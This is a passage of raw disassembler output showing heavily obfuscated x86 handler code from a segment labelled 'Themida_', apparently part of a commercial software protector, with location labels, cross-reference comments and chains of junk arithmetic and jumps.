		jmp	loc_5A99EF
; ---------------------------------------------------------------------------


loc_5A2CE3:				; CODE XREF: Themida_:00599FEEj
		push	ebx
		pop	esi
		pop	ebx
		shr	esi, 6
		sub	esi, 0DF3C88BDh
		push	edi
		mov	edi, 46E03866h
		sub	ebx, edi
		jmp	loc_5ABF22
; ---------------------------------------------------------------------------


loc_5A2CFC:				; CODE XREF: Themida_:005AD940j
		push	ebx
		push	ecx
		jmp	loc_59AB94
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59E768
; ---------------------------------------------------------------------------


loc_5A2D11:				; CODE XREF: Themida_:005A225Dj
					; Themida_:005A5313j
		shr	edx, 5
		jmp	loc_5996B1
; ---------------------------------------------------------------------------


loc_5A2D19:				; CODE XREF: Themida_:0059EDE2j
		add	esi, 4
		add	esi, 4
		jmp	loc_59E570
; ---------------------------------------------------------------------------


loc_5A2D2A:				; CODE XREF: Themida_:005A4C45j
		mov	al, cl
		push	ecx
		jmp	loc_5A834E
; ---------------------------------------------------------------------------


loc_5A2D32:				; CODE XREF: Themida_:0059ED89j
		and	ebp, 7B83552Bh
		xor	ebp, 38F3294Eh
		not	ebp
		dec	ebp
		inc	ebp
		add	ebp, 0B4DCEEA4h
		jmp	loc_5A89F4
; ---------------------------------------------------------------------------


loc_5A2D4D:				; CODE XREF: Themida_:0059B518j
		pop	ebx
		jmp	loc_59ADB4
; ---------------------------------------------------------------------------


loc_5A2D53:				; CODE XREF: Themida_:005AC7CAj
		pop	edx
		jmp	loc_5AB063
; ---------------------------------------------------------------------------


loc_5A2D59:				; CODE XREF: Themida_:005A72ABj
		shr	edi, 5
		push	ecx
		mov	ecx, 26762BC9h
		add	ecx, 13296855h
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		add	ecx, 0FFFFFFFFh
		shl	ecx, 2
		push	ebx
		push	ecx
		jmp	loc_5A7A97
; ---------------------------------------------------------------------------


loc_5A2D7B:				; CODE XREF: Themida_:005AD330j
		mov	ebx, [esp]
		add	esp, 4
		push	dx
		mov	dh, 86h
		jmp	loc_5A6B58
; ---------------------------------------------------------------------------


loc_5A2D8D:				; CODE XREF: Themida_:005A913Fj
		mov	edx, esi
		pop	esi
		jmp	loc_5A719A
; ---------------------------------------------------------------------------


loc_5A2D95:				; CODE XREF: Themida_:005ABAC0j
		add	edx, 6D2C1835h
		sub	eax, edx
		pop	edx
		add	eax, 365F125Dh
		jmp	loc_59BDB7
; ---------------------------------------------------------------------------


loc_5A2DA8:				; CODE XREF: Themida_:005A9F30j
		inc	ebp
		inc	ebp
		shl	ebp, 7
		shl	ebp, 2
		add	ebp, 0F86B2C4Ch
		add	edx, ebp
		pop	ebp
		sub	edx, 320B1570h
		push	esi
		jmp	loc_5AE2D7
; ---------------------------------------------------------------------------


loc_5A2DC5:				; CODE XREF: Themida_:005AE62Bj
		mov	[esp], eax
		jmp	loc_5A7ED0
; ---------------------------------------------------------------------------


loc_5A2DCD:				; CODE XREF: Themida_:005A611Bj
		pop	esi
		push	ecx
		push	ebx
		mov	ebx, 0B4D2D27h
		push	eax
		jmp	loc_5A2B2D
; ---------------------------------------------------------------------------


loc_5A2DDB:				; CODE XREF: Themida_:005AC416j
		mov	[esp], ecx
		push	512Fh
		jmp	loc_5A49F5
; ---------------------------------------------------------------------------


loc_5A2DE8:				; CODE XREF: Themida_:005A9E36j
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5A3EDE
; ---------------------------------------------------------------------------


loc_5A2DFA:				; CODE XREF: Themida_:005A722Aj
					; Themida_:005A9F9Bj
		pop	eax
		jmp	loc_59868F
; ---------------------------------------------------------------------------


loc_5A2E00:				; CODE XREF: Themida_:005A188Aj
		pop	esi
		jmp	loc_59D947
; ---------------------------------------------------------------------------


loc_5A2E06:				; CODE XREF: Themida_:00599AB0j
					; Themida_:005AC333j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A3DAE
; ---------------------------------------------------------------------------


loc_5A2E14:				; CODE XREF: Themida_:0059E822j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		jmp	loc_5A8F3E
; ---------------------------------------------------------------------------


loc_5A2E2C:				; CODE XREF: Themida_:005AC03Dj
		inc	esi
		add	esi, 612777FEh
		dec	esi
		add	esi, 45C20A42h
		jmp	loc_5A4F03
; ---------------------------------------------------------------------------


loc_5A2E3F:				; CODE XREF: Themida_:0059D8AAj
					; Themida_:loc_5A7A5Cj
		add	esi, edx
		pop	edx
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 116C5676h
		neg	esi
		push	edi
		mov	edi, 49704855h
		shr	edi, 7
		push	ecx
		mov	ecx, 326A4F25h
		and	edi, ecx
		pop	ecx
		xor	edi, 50E63348h
		and	edi, 736F28B0h
		jmp	loc_5A307D
; ---------------------------------------------------------------------------


loc_5A2E77:				; CODE XREF: Themida_:005A7ACFj
		mov	ecx, 0EA50ADEh
		push	edi
		mov	edi, 0
		sub	edi, ecx
		jmp	loc_59B059
; ---------------------------------------------------------------------------


loc_5A2E89:				; CODE XREF: Themida_:005A9DA0j
		mov	ebp, 2
		jmp	loc_59CA7D
; ---------------------------------------------------------------------------


loc_5A2E93:				; CODE XREF: Themida_:005A64ABj
		xchg	edi, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_5A7ABC
; ---------------------------------------------------------------------------


loc_5A2E9F:				; CODE XREF: Themida_:0059E2C1j
					; Themida_:loc_5A8472j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	di, 3202h
		add	di, 1
		push	ecx
		mov	cx, 27B4h
		shr	cx, 5
		jmp	loc_5AD692
; ---------------------------------------------------------------------------


loc_5A2EBC:				; CODE XREF: Themida_:005A6EF2j
		mov	ebp, 4
		jmp	loc_59B5A8
; ---------------------------------------------------------------------------


loc_5A2EC6:				; CODE XREF: Themida_:005A067Aj
		mov	[esp], edi
		mov	edi, 1EED507Ah
		jmp	loc_5AEDFC
; ---------------------------------------------------------------------------


loc_5A2ED3:				; CODE XREF: Themida_:005A3991j
		xchg	ecx, [esp]
		jmp	loc_5A08CD
; ---------------------------------------------------------------------------


loc_5A2EDB:				; CODE XREF: Themida_:005A8CDAj
		add	esp, 4
		push	dx
		mov	dh, 5Eh
		sub	bl, 7Bh
		sub	bl, dh
		add	bl, 7Bh
		pop	dx
		movzx	eax, al
		mov	dx, [esp]
		push	ebp
		jmp	loc_5AA429
; ---------------------------------------------------------------------------


loc_5A2EFC:				; CODE XREF: Themida_:005A96AFj
		push	ebp
		mov	ebp, 48F91869h
		inc	ebp
		push	esi
		mov	esi, 48F9186Eh
		xor	ebp, esi
		pop	esi
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 59FF50E1h
		inc	ebp
		jge	loc_5A4164
		shr	ebp, 6
		or	ebp, 46FF0B05h
		jnp	loc_5A15F3


loc_5A2F3C:				; CODE XREF: Themida_:005A4CA5j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59B4A5
; ---------------------------------------------------------------------------


loc_5A2F4A:				; CODE XREF: Themida_:loc_5A7185j
		or	ebx, 0EE9230Ch
		jnp	loc_5A7374
		add	ebx, 0C102D885h
		jmp	loc_5A7D6B
; ---------------------------------------------------------------------------
		shr	ecx, 4


loc_5A2F64:				; CODE XREF: Themida_:005A8E62j
		push	eax
		add	dword ptr [esp], 8AC761Eh
		jmp	loc_5A606B
; ---------------------------------------------------------------------------


loc_5A2F71:				; CODE XREF: Themida_:loc_59A420j
		xor	dl, 0EFh
		jo	loc_5AAE4A
		not	dl
		jmp	loc_5A7661
; ---------------------------------------------------------------------------


loc_5A2F81:				; CODE XREF: Themida_:005AE702j
		add	ebx, 0FFFFFFFFh
		not	ebx
		sub	ebx, 1334731Fh
		add	ebx, 43298322h
		add	ecx, 3D244A92h
		sub	ecx, ebx
		jmp	loc_5A8F01
; ---------------------------------------------------------------------------


loc_5A2FA2:				; CODE XREF: Themida_:0059A5A7j
		add	eax, edx
		add	eax, 39394CD4h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59F77C
; ---------------------------------------------------------------------------


loc_5A2FB7:				; CODE XREF: Themida_:005A327Cj
		not	esi
		not	esi
		shl	esi, 7
		jnp	loc_59B054
		jmp	loc_5A5C8D
; ---------------------------------------------------------------------------
		mov	ecx, edi
		pop	edi
		xor	ecx, 83D2821Ah


loc_5A2FD2:				; CODE XREF: Themida_:0059A427j
		sub	ebp, 7F920035h
		pop	edi
		or	edx, ebp
		jmp	loc_5A2B70
; ---------------------------------------------------------------------------


loc_5A2FE0:				; CODE XREF: Themida_:005A60C1j
		pop	esp
		jmp	loc_59AE26
; ---------------------------------------------------------------------------


loc_5A2FE6:				; CODE XREF: Themida_:005AAA54j
		push	ebp
		push	26CFh
		mov	[esp], ecx
		mov	ecx, 73DC24BDh
		dec	ecx
		push	eax
		mov	eax, 5C0356E5h
		jmp	loc_598E47
; ---------------------------------------------------------------------------


loc_5A3000:				; CODE XREF: Themida_:005A5AA7j
		mov	edx, eax
		pop	eax
		push	ebp
		mov	ebp, 49C471DBh
		jmp	loc_59CE61
; ---------------------------------------------------------------------------


loc_5A300E:				; CODE XREF: Themida_:0059F917j
		mov	ebp, 21BC2584h
		mov	edx, 21BC2585h
		sub	edx, ebp
		pop	ebp
		or	[edi+1Ch], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A302C:				; CODE XREF: Themida_:00598E2Aj
		add	eax, ebp
		add	eax, 7CD7376Eh
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A05DE
; ---------------------------------------------------------------------------


loc_5A304A:				; CODE XREF: Themida_:005AF509j
		mov	[esp], esp
		jmp	loc_59CD31
; ---------------------------------------------------------------------------


loc_5A3052:				; CODE XREF: Themida_:005A605Bj
		mov	edi, 27F96FDEh
		sub	edi, 121F3A0Ch
		add	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 383039CFh
		jmp	loc_5AC00B
; ---------------------------------------------------------------------------


loc_5A306B:				; CODE XREF: Themida_:loc_5A4DD5j
		push	79D3h
		mov	[esp], edi
		mov	edi, 4FEA3936h
		jmp	loc_5ABB1D
; ---------------------------------------------------------------------------


loc_5A307D:				; CODE XREF: Themida_:005A2E72j
		shl	edi, 8
		sub	edi, 6210C633h
		sub	esi, edi
		jmp	loc_5A6561
; ---------------------------------------------------------------------------


loc_5A308D:				; CODE XREF: Themida_:005A7F7Cj
		mov	[esp], ecx
		mov	cl, 0DCh
		jmp	loc_59F37A
; ---------------------------------------------------------------------------


loc_5A3097:				; CODE XREF: Themida_:0059F971j
		add	al, 0F8h
		add	al, bl
		push	3E6Ah
		mov	[esp], ecx
		mov	ch, 0B2h
		add	ch, 0Bh
		jmp	loc_5A1300
; ---------------------------------------------------------------------------


loc_5A30AD:				; CODE XREF: Themida_:005A8EA9j
		pop	ebp
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5AF0CB
; ---------------------------------------------------------------------------


loc_5A30BC:				; CODE XREF: Themida_:0059854Fj
					; Themida_:0059C591j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		push	ecx
		jmp	loc_5A39D3
; ---------------------------------------------------------------------------


loc_5A30DB:				; CODE XREF: Themida_:005A5E14j
		shr	eax, 4
		jnz	loc_5A3384
		jmp	loc_5A5E62
; ---------------------------------------------------------------------------
		sub	edx, 7F3B5307h
		pop	ebx
		push	edx
		mov	ebp, edx


loc_5A30F3:				; CODE XREF: Themida_:005A4E54j
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		xor	cl, 0C6h
		shr	cl, 3
		not	cl
		add	cl, 1
		add	cl, 0FEh
		push	cx
		mov	cl, 0A5h
		sub	al, cl
		pop	cx
		add	al, 0D2h
		push	edx
		mov	dh, 30h
		sub	al, dh
		pop	edx
		add	al, cl
		add	al, 30h
		jmp	loc_5AC8EA
; ---------------------------------------------------------------------------


loc_5A3127:				; CODE XREF: Themida_:loc_5A1FA1j
		add	bl, 84h
		push	1076h
		mov	[esp], ecx
		push	0DAh
		mov	[esp], edx
		mov	dl, bl
		push	ebx
		jmp	loc_5ABA09
; ---------------------------------------------------------------------------


loc_5A3142:				; CODE XREF: Themida_:0059D581j
		push	edi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	edi
		push	edx
		mov	edx, 16964AF2h
		xor	edi, edx
		pop	edx
		or	edi, 32323A9Eh
		sub	esp, 4
		jmp	loc_59B299
; ---------------------------------------------------------------------------


loc_5A3166:				; CODE XREF: Themida_:0059DDB3j
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 4
		jmp	loc_5AC074
; ---------------------------------------------------------------------------


loc_5A3187:				; CODE XREF: Themida_:005A7450j
		not	edi
		jmp	loc_59918D
; ---------------------------------------------------------------------------


loc_5A318E:				; CODE XREF: Themida_:005ACE6Bj
		xor	ebp, 0AB7A0BDh
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5AA226
; ---------------------------------------------------------------------------


loc_5A319E:				; CODE XREF: Themida_:0059B16Dj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	edx
		push	28h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_59FD12
; ---------------------------------------------------------------------------


loc_5A31C9:				; CODE XREF: Themida_:005AEDCDj
		add	esp, 4
		not	ecx
		dec	ecx
		dec	ecx
		jmp	loc_5A0EA2
; ---------------------------------------------------------------------------


loc_5A31D8:				; CODE XREF: Themida_:005A4265j
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebp, 3E4907EDh
		add	ebp, edi
		add	ebp, 3E4907EDh
		jmp	loc_598759
; ---------------------------------------------------------------------------


loc_5A31FA:				; CODE XREF: Themida_:0059DA95j
		add	ecx, ebp
		sub	ecx, 5BC07827h
		jmp	loc_59E6FB
; ---------------------------------------------------------------------------


loc_5A3207:				; CODE XREF: Themida_:0059EB49j
		push	dword ptr [esp]
		jmp	loc_5A0114
; ---------------------------------------------------------------------------


loc_5A320F:				; CODE XREF: Themida_:0059C8A4j
		add	eax, 29788E37h
		sub	dword ptr [esp+4], 250C6AA0h
		add	[esp+4], eax
		jmp	loc_5A60C6
; ---------------------------------------------------------------------------


loc_5A3225:				; CODE XREF: Themida_:005993B3j
		jmp	loc_5A65EB
; ---------------------------------------------------------------------------


loc_5A322A:				; CODE XREF: Themida_:005A1BD5j
		add	esp, 4
		push	edx
		jmp	loc_59F690
; ---------------------------------------------------------------------------


loc_5A3236:				; CODE XREF: Themida_:0059F029j
		add	edx, 0CE96F0Bh
		jl	loc_5A3368
		neg	edx
		js	loc_5A9A2E
		push	esi
		mov	esi, 4F563E4Ch
		or	esi, 190283Fh
		pop	ecx


loc_5A3257:				; CODE XREF: Themida_:005AE70Aj
		dec	dh
		jl	loc_5AF4C0
		not	dh
		inc	dh
		jmp	loc_5AF080
; ---------------------------------------------------------------------------


loc_5A3268:				; CODE XREF: Themida_:005A9271j
		push	1A2Fh
		mov	[esp], edx
		push	esi
		mov	esi, 61283E21h
		xor	esi, 61090606h
		jnp	loc_5A2FB7
		not	esi
		not	esi
		shl	esi, 7
		jnp	loc_5AB3A2
		jmp	loc_59A65B
; ---------------------------------------------------------------------------
		not	al
		shr	al, 6
		inc	al
		mov	dl, bh
		push	edx


loc_5A329E:				; CODE XREF: Themida_:0059FB27j
		push	458Fh
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		jmp	loc_5A424E
; ---------------------------------------------------------------------------


loc_5A32AE:				; CODE XREF: Themida_:00598960j
		mov	esp, [esp]
		mov	[esp], cx
		push	ebx
		mov	bh, 0A6h
		push	ecx
		mov	ch, 0B2h
		jmp	loc_59FC76
; ---------------------------------------------------------------------------


loc_5A32C0:				; CODE XREF: Themida_:0059F333j
		sub	eax, 29C73DB3h
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5ACE55
; ---------------------------------------------------------------------------


loc_5A32D0:				; CODE XREF: Themida_:005AEBC6j
		mov	[esp], ebx
		mov	ebx, 72E90469h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, edi
		jmp	loc_5993CE
; ---------------------------------------------------------------------------


loc_5A32EA:				; CODE XREF: Themida_:005A5625j
		push	esi
		push	571Ch
		jmp	loc_59B645
; ---------------------------------------------------------------------------


loc_5A32F5:				; CODE XREF: Themida_:005A15F8j
		sub	esp, 4
		mov	[esp], ebx
		push	5080h
		mov	[esp], ecx
		jmp	loc_59EC16
; ---------------------------------------------------------------------------


loc_5A3308:				; CODE XREF: Themida_:00598921j
					; Themida_:005A4BBCj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A330D:				; CODE XREF: Themida_:005AE7FDj
		push	edx
		mov	edx, 444601F4h
		sub	edx, 1859AD52h
		jmp	loc_59BBDD
; ---------------------------------------------------------------------------


loc_5A331E:				; CODE XREF: Themida_:0059D5A9j
		mov	ebp, ecx
		push	ebp
		add	dword ptr [esp], 7E6D1C11h
		pop	esi
		jmp	loc_59A850
; ---------------------------------------------------------------------------


loc_5A332E:				; CODE XREF: Themida_:loc_5AA2BFj
		jmp	loc_59B0D5
; ---------------------------------------------------------------------------


loc_5A3333:				; CODE XREF: Themida_:loc_5AAF7Dj
		push	ebp
		jmp	loc_59F2C3
; ---------------------------------------------------------------------------


loc_5A3339:				; CODE XREF: Themida_:005A6782j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		pop	ecx
		mov	edi, [esp]
		jmp	loc_5A2702
; ---------------------------------------------------------------------------


loc_5A334A:				; CODE XREF: Themida_:0059A8D3j
		pop	esp
		jmp	loc_5A46D9
; ---------------------------------------------------------------------------


loc_5A3350:				; CODE XREF: Themida_:005AF4AFj
		mov	[esp], eax
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		jmp	loc_598A03
; ---------------------------------------------------------------------------


loc_5A3360:				; CODE XREF: Themida_:00599B62j
		or	dl, 0D5h
		jmp	loc_59DFEB
; ---------------------------------------------------------------------------


loc_5A3368:				; CODE XREF: Themida_:005A323Cj
		neg	edx
		js	loc_5A7D65
		push	esi
		jmp	loc_59C394
; ---------------------------------------------------------------------------
		inc	bl
		push	edx
		mov	bl, 28h


loc_5A337B:				; CODE XREF: Themida_:0059AA54j
		pop	eax
		push	ebx
		mov	bl, cl
		jmp	loc_5A7823
; ---------------------------------------------------------------------------


loc_5A3384:				; CODE XREF: Themida_:005A30DEj
		jmp	loc_5AEDC3
; ---------------------------------------------------------------------------


loc_5A3389:				; CODE XREF: Themida_:005AB8FEj
		sub	edx, 7F3B5307h
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_59CAD1
; ---------------------------------------------------------------------------


loc_5A339E:				; CODE XREF: Themida_:005A14C3j
		pop	eax
		jmp	loc_59AC8D
; ---------------------------------------------------------------------------


loc_5A33A4:				; CODE XREF: Themida_:005AA2BAj
		add	eax, 27857977h
		push	esi
		jmp	loc_59B9E6
; ---------------------------------------------------------------------------


loc_5A33AF:				; CODE XREF: Themida_:0059928Fj
					; Themida_:005A3812j
		sub	dword ptr [esp+4], 461A4895h
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5A08EA
; ---------------------------------------------------------------------------


loc_5A33C0:				; CODE XREF: Themida_:005A89CDj
		or	esi, 4C617736h
		jno	loc_59FCC5
		jmp	loc_5A71A8
; ---------------------------------------------------------------------------
		add	esi, 719C3375h
		or	edx, esi
		pop	esi


loc_5A33DA:				; CODE XREF: Themida_:005A35AAj
		push	dword ptr [esp]
		pop	edx
		push	54DDh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	1430h
		jmp	loc_59C0EE
; ---------------------------------------------------------------------------


loc_5A33FE:				; CODE XREF: Themida_:005A58DDj
		shl	eax, 4
		or	eax, 767D038Ch
		sub	eax, 0CDB0AD3Bh
		add	edi, eax
		pop	eax
		and	edi, 2B153861h
		push	ebx
		mov	ebx, 64282097h
		or	edi, ebx
		pop	ebx
		jmp	loc_59A0A8
; ---------------------------------------------------------------------------


loc_5A3422:				; CODE XREF: Themida_:005A5459j
		add	esp, 4
		jmp	loc_59B8A7
; ---------------------------------------------------------------------------


loc_5A342D:				; CODE XREF: Themida_:005A78C7j
					; Themida_:005ACF4Aj
		mov	esi, 464401A3h
		shl	esi, 1
		jmp	loc_5A6C2C
; ---------------------------------------------------------------------------


loc_5A3439:				; CODE XREF: Themida_:005AD203j
		pop	eax
		inc	di
		jmp	loc_59B724
; ---------------------------------------------------------------------------


loc_5A3441:				; CODE XREF: Themida_:0059CC39j
		pop	edx
		sub	bl, cl
		pop	cx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 39B87E04h
		add	eax, 0FFFFFFFFh
		inc	eax
		jno	loc_599E3F
		push	57CEh
		mov	[esp], edx
		sub	esp, 4
		push	esp


loc_5A3470:				; CODE XREF: Themida_:005A5A55j
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		push	esp
		pop	esi
		jmp	loc_5AA7A2
; ---------------------------------------------------------------------------


loc_5A3488:				; CODE XREF: Themida_:0059E147j
		xor	ebx, edi
		xor	edi, ebx
		inc	edi
		add	edi, 3ABC7A69h
		add	edi, 99846BECh
		add	edx, edi
		jmp	loc_59CD80
; ---------------------------------------------------------------------------


loc_5A34A0:				; CODE XREF: Themida_:005A00CBj
					; Themida_:005A7484j
		add	ebx, 26E71BEBh
		push	7352h
		jmp	loc_59BFD2
; ---------------------------------------------------------------------------


loc_5A34B0:				; CODE XREF: Themida_:005A5B26j
		push	1572h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A13AB
; ---------------------------------------------------------------------------


loc_5A34CF:				; CODE XREF: Themida_:0059B229j
		add	ecx, edi
		pop	edi
		push	ebp
		push	ebx
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A34F4:				; CODE XREF: Themida_:005A8FFCj
		jmp	loc_59DE47
; ---------------------------------------------------------------------------


loc_5A34F9:				; CODE XREF: Themida_:loc_5A3CECj
		jmp	loc_5A715D
; ---------------------------------------------------------------------------


loc_5A34FE:				; CODE XREF: Themida_:0059C737j
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7255h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	7CDh
		jmp	loc_5AB105
; ---------------------------------------------------------------------------


loc_5A3526:				; CODE XREF: Themida_:0059D377j
		pop	ecx
		add	esp, 4
		mov	ch, dh
		jmp	loc_5A908E
; ---------------------------------------------------------------------------


loc_5A3531:				; CODE XREF: Themida_:0059CEFAj
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5AA808
; ---------------------------------------------------------------------------


loc_5A3544:				; CODE XREF: Themida_:005A0DB3j
		pop	ecx
		push	224Dh
		mov	[esp], eax
		jmp	loc_59A02C
; ---------------------------------------------------------------------------


loc_5A3552:				; CODE XREF: Themida_:0059ED43j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 554D5442h
		jmp	loc_5AD7A2
; ---------------------------------------------------------------------------


loc_5A3562:				; CODE XREF: Themida_:0059DBA9j
		mov	ebp, 0EAFD65EEh
		sub	esi, ebp
		pop	ebp
		push	esi
		push	edx
		mov	edx, 0F9B7999h
		xor	[esp+4], edx
		pop	edx
		jmp	loc_5A4929
; ---------------------------------------------------------------------------


loc_5A357B:				; CODE XREF: Themida_:005A7F09j
		and	edx, ecx
		pop	ecx
		sub	edx, 0F4D3FF1Bh
		sub	eax, 1A987041h
		add	eax, edx
		add	eax, 1A987041h
		jmp	loc_5A4350
; ---------------------------------------------------------------------------


loc_5A3595:				; CODE XREF: Themida_:005A05EFj
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598C42
; ---------------------------------------------------------------------------


loc_5A35A8:				; CODE XREF: Themida_:005A3D51j
		xor	eax, edx
		jmp	loc_5A33DA
; ---------------------------------------------------------------------------


loc_5A35AF:				; CODE XREF: Themida_:00599C52j
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, 1C136338h
		shr	ebx, 7
		jmp	loc_5ABB5A
; ---------------------------------------------------------------------------


loc_5A35C7:				; CODE XREF: Themida_:005A9608j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_5AF459
; ---------------------------------------------------------------------------


loc_5A35D1:				; CODE XREF: Themida_:005AB08Dj
		push	ebx
		jmp	loc_5ACAF3
; ---------------------------------------------------------------------------


loc_5A35D7:				; CODE XREF: Themida_:0059C1B9j
		mov	[esp], esi
		jmp	loc_5AEDD2
; ---------------------------------------------------------------------------


loc_5A35DF:				; CODE XREF: Themida_:005AF3ECj
		pop	esi
		sub	eax, 1EBE1C6Bh
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		add	ebx, 49795193h
		jmp	loc_59C0F6
; ---------------------------------------------------------------------------


loc_5A35F5:				; CODE XREF: Themida_:0059C686j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	ebx, ecx
		pop	ecx
		jmp	loc_59D3EE
; ---------------------------------------------------------------------------


loc_5A360F:				; CODE XREF: Themida_:005AD315j
		add	esp, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_59B31C
; ---------------------------------------------------------------------------


loc_5A3620:				; CODE XREF: Themida_:005A61CFj
		pop	edx
		jmp	loc_5ADD25
; ---------------------------------------------------------------------------


loc_5A3626:				; CODE XREF: Themida_:0059D5CCj
		xor	ebp, 7ECE04FCh
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5985E2
; ---------------------------------------------------------------------------


loc_5A3636:				; CODE XREF: Themida_:005A51E8j
		sub	edi, 48DC7EE8h
		mov	ebx, edi
		jmp	loc_59FA34
; ---------------------------------------------------------------------------


loc_5A3643:				; CODE XREF: Themida_:005A9CF0j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AB232
; ---------------------------------------------------------------------------


loc_5A3653:				; CODE XREF: Themida_:005A6080j
		sub	eax, ebp
		pop	ebp
		pop	ebx
		sub	esi, 342E3272h
		add	esi, eax
		push	eax
		jmp	loc_5AA062
; ---------------------------------------------------------------------------


loc_5A3665:				; CODE XREF: Themida_:0059ECFFj
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5AE731
; ---------------------------------------------------------------------------


loc_5A367E:				; CODE XREF: Themida_:0059F9DEj
		push	eax
		jmp	loc_59B53A
; ---------------------------------------------------------------------------


loc_5A3684:				; CODE XREF: Themida_:005A52CCj
		neg	ebp
		jg	loc_5A7F0E
		jmp	loc_59DA6E
; ---------------------------------------------------------------------------
		sub	eax, 78C43B9Bh
		push	ebx


loc_5A3697:				; CODE XREF: Themida_:loc_5AB1C0j
		dec	ebx
		jns	loc_5A05F4
		jmp	loc_59A04E
; ---------------------------------------------------------------------------
		pop	edx
		push	esi
		push	esp
		pop	esi
		mov	ch, dh
		pop	esi


loc_5A36AA:				; CODE XREF: Themida_:0059FF01j
					; Themida_:loc_5A56C6j
		push	eax
		mov	eax, 7C1619CEh
		shr	eax, 4
		and	eax, 6D3802BFh
		add	eax, 6CB3289h
		xor	ebp, eax
		pop	eax
		or	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_59F685
; ---------------------------------------------------------------------------


loc_5A36CA:				; CODE XREF: Themida_:0059DA4Bj
		sub	edx, 0FFFFFFFFh
		shr	edx, 7
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	edx, ebp
		pop	ebp
		add	edx, 0FFA0115Bh
		push	edx
		mov	edx, 61B72582h
		xor	edx, 6A31754h
		add	eax, edx
		jmp	loc_5A9E89
; ---------------------------------------------------------------------------


loc_5A36F2:				; CODE XREF: Themida_:00598D03j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A36F7:				; CODE XREF: Themida_:005A9F65j
		push	ecx
		push	ebx
		jmp	loc_59F787
; ---------------------------------------------------------------------------


loc_5A36FE:				; CODE XREF: Themida_:005A127Aj
					; Themida_:005A4D90j
		push	29A9h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	5A78h
